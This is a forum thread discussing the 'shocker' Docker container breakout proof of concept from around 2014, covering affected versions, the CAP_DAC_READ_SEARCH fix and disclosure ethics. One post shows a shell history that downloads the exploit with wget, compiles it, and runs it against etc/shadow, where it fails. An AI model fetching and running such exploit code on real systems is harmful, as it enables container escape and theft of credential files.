Docker container breakout?
stealth.openwall.net
Docker container breakout?
1–10 of 91 posts
Re: Docker container breakout?
#2Re: Docker container breakout?
#3Looks to be a few releases out past 0.11, notably 0.11.1, 0.12, and now 1.0. Can anyone confirm this works on the later versions of docker?
Re: Docker container breakout?
#4Just to be clear, this doesn't really seem like a problem with Docker specifically. It looks like a problem with the kernel's namespace isolation, affecting any container-based solution. Yes, that's in the PPS, but probably should be in the title.
Re: Docker container breakout?
#5Re: Docker container breakout?
#6 Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available.
Other FS-related threats to container based VMM's that have been discussed:
- subvolume related FS operations (snapshots etc)
- FS ioctl's that accept FS-handles as well (XFS)
- CAP_DAC_READ_SEARCH also defeats chroot and other
bind-mount containers (privileged LXC)
- CAP_MKNOD might be a problem too (still available in docker 1.0) depending on the drivers available in the kernel
Source: http://seclists.org/oss-sec/2014/q2/565Re: Docker container breakout?
#7"tested with docker 0.11" Looks to be a few releases out past 0.11, notably 0.11.1, 0.12, and now 1.0. Can anyone confirm this works on the later versions of docker?
As an employee of Docker, I feel it is more important to me to know if we can breakout and patch those issues than to write viable exploits for them.
I have noticed that newer kernels and Docker versions (such as 1.0) are currently more difficult to break out of than they were in earlier versions. Again, however, it's highly dependent on the pairing.
What's important to recognize here is that even with breakout potential, containers should add a useful layer of security to break out of that wouldn't otherwise exist. Containers should never remove security from your system, they should only add to it. However, although deployers may find the removal of virtual machines to weaken their security story. The "secure all the things" story would be to put Qemu in a container, then run containers inside the VM.
Otherwise, security practices are as they always have been: Don't leave setuid binaries floating around, etc.
Re: Docker container breakout?
#8While the issue is currently fixed in the .12 and 1.0 versions. I doubt Docker is still completely bullet proof.
Re: Docker container breakout?
#9Apparently this is already fixed in Docker 1.0: Its fixed in docker 1.0 since CAP_DAC_READ_SEARCH is no longer available. Other FS-related threats to container based VMM's that have been discussed: - subvolume related FS operations (snapshots etc) - FS ioctl's that accept FS-handles as well (XFS) - CAP_DAC_READ_SEARCH also defeats chroot and other bind-mount containers (privileged LXC) - CAP_MKNOD might be a problem…
root@377a6f4ab0a4:/# history
10 wget http://stealth.openwall.net/xSports/shocker.c
11 cc -Wall -std=c99 -O2 shocker.c -static
12 apt-get install build-essential
13 cc -Wall -std=c99 -O2 shocker.c -static
14 cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result
15 ls
16 ./shocker
17 shocker
18 nano a.out
19 cat a.out
20 ./a.out
21 history
root@377a6f4ab0a4:/# ./a.out
[***] docker VMM-container breakout Po(C) 2014
[***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
root@377a6f4ab0a4:/# uname -r
3.14.1-tinycore64Re: Docker container breakout?
#10With a technology used in production in a lot of places, does responsible disclosure apply here? Did the author (OP?) notify Docker and/or the Linux kernel team before distributing this for public consumption?